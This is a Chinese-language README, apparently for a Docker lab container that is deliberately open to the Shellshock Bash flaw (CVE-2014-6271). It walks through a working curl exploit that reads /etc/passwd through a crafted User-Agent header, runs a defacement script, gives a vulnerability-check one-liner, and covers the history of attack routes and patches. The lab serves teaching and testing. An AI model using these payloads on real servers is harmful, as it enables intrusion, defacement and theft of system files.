
Shellshock,又称 Bashdoor,是一系列广泛使用的 Unix Bash shell 中的安全漏洞,其中第一个漏洞于 2014 年 9 月 24 日被披露。许多面向互联网的服务(例如某些 Web 服务器部署)使用 Bash 处理特定请求,从而允许攻击者诱使存在漏洞的 Bash 版本执行任意命令。这可使攻击者未经授权访问计算机系统。
你需要安装 docker 才能运行该环境,请前往 docker.com 安装(如果尚未安装)。
要启动易受攻击环境,只需运行
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
打开浏览器并访问 localhost:8080,如果一切正常,你将看到如下页面

有多种方法可以利用此漏洞
一个简单的示例,用于 cat /etc/passwd
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
你可以使用它运行任何你想要的命令
这只是 exploit-deface.sh 中的示例代码,直接针对该镜像运行即可
./exploit-deface.sh <ip> <port>
例如,如果你使用上面提供的命令运行它
./exploit-deface.sh localhost 8080
只需刷新浏览器,你就会看到

只需在你的系统上运行此 bash 脚本,即可得知你的系统是否存在漏洞:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
当 Web 服务器使用通用网关接口(CGI)处理文档请求时,它会将请求的各种详细信息通过环境变量列表传递给处理程序。例如,变量 HTTP_USER_AGENT 的值在正常使用中用于标识发送请求的程序。如果请求处理程序是 Bash 脚本,或者它使用 system(3) 调用执行此类脚本,Bash 将接收服务器传递的环境变量,并按上述方式处理它们。这为攻击者通过精心构造的服务器请求触发 Shellshock 漏洞提供了途径。 广泛使用的 Apache Web 服务器的安全文档指出:“CGI 脚本如果未经仔细检查,可能极其危险”,因此通常采用其他方法来处理 Web 服务器请求。有许多在线服务试图针对暴露于互联网的 Web 服务器测试该漏洞。
OpenSSH 具有 “ForceCommand” 功能,即用户登录时执行固定命令,而不是直接运行不受限制的命令 shell。即使指定运行其他命令,该固定命令也会被执行;在这种情况下,原始命令会被放入环境变量 “SSH_ORIGINAL_COMMAND” 中。当强制命令在 Bash shell 中运行(如果用户的 shell 设置为 Bash),Bash shell 会在启动时解析 SSH_ORIGINAL_COMMAND 环境变量,并执行其中嵌入的命令。用户利用 Shellshock 漏洞,通过受限 shell 访问获得了不受限制的 shell 访问权限。
某些 DHCP 客户端也可以向 Bash 传递命令;易受攻击的系统在连接开放 Wi-Fi 网络时可能遭到攻击。DHCP 客户端通常从 DHCP 服务器请求并获取 IP 地址,但也可能获得一系列附加选项。恶意 DHCP 服务器可以在其中一个选项中提供精心构造的字符串,从而在易受攻击的工作站或笔记本电脑上执行代码。
当使用 Bash 处理电子邮件消息时(例如通过 .forward 或 qmail-alias 管道),qmail 邮件服务器会以某种方式传递外部输入,从而可利用存在漏洞的 Bash 版本。
利用该漏洞可以从 IBM 硬件管理控制台(Hardware Management Console,一种面向系统管理员的微型 Linux 变体)的受限 shell 访问 Bash。IBM 已发布补丁解决此问题。
截至 2014 年 9 月 24 日,Bash 维护者 Chet Ramey 提供了针对 Bash 4.3 的补丁版本 bash43-025,修复了 CVE-2014-6271,该补丁已由各发行版维护者打包。9 月 24 日,bash43-026 发布,修复了 CVE-2014-7169。随后又发现了 CVE-2014-7186。Red Hat 的 Florian Weimer 于 9 月 25 日“非正式地”发布了一些补丁代码,Ramey 将其整合到 Bash 中,即 bash43-027。这些补丁仅提供代码,只对知道如何从补丁文件和其余源代码文件编译(“重新构建”)新的 Bash 二进制可执行文件的人有用。
次日,Red Hat 正式发布了 Red Hat Enterprise Linux 的相应更新,一天后又发布了 Fedora 21 的更新。Canonical Ltd. 于周六(9 月 27 日)发布了其 Ubuntu 长期支持版本的更新;周日,SUSE Linux Enterprise 也有了更新。月底接下来的周一和周二,Apple OS X 更新发布。
2014 年 10 月 1 日,Google Inc. 的 Michał Zalewski 最终确认,Weimer 的代码和 bash43-027 不仅修复了前三个漏洞,还修复了 bash43-027 之后公布的所有其余三个漏洞,包括他本人发现的两个漏洞。这意味着,在早期的发行版更新之后,无需其他更新即可覆盖全部六个问题。
本程序或之前的程序仅用于教育目的。未经许可请勿使用。通常的免责声明同样适用,尤其是本人(opsxcq)不对直接或间接使用这些程序提供的信息或功能所造成的任何损害负责。作者或任何互联网服务提供商对这些程序或其任何衍生品的内容或滥用不承担任何责任。使用这些程序即表示你接受以下事实:因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 opsxcq 的责任。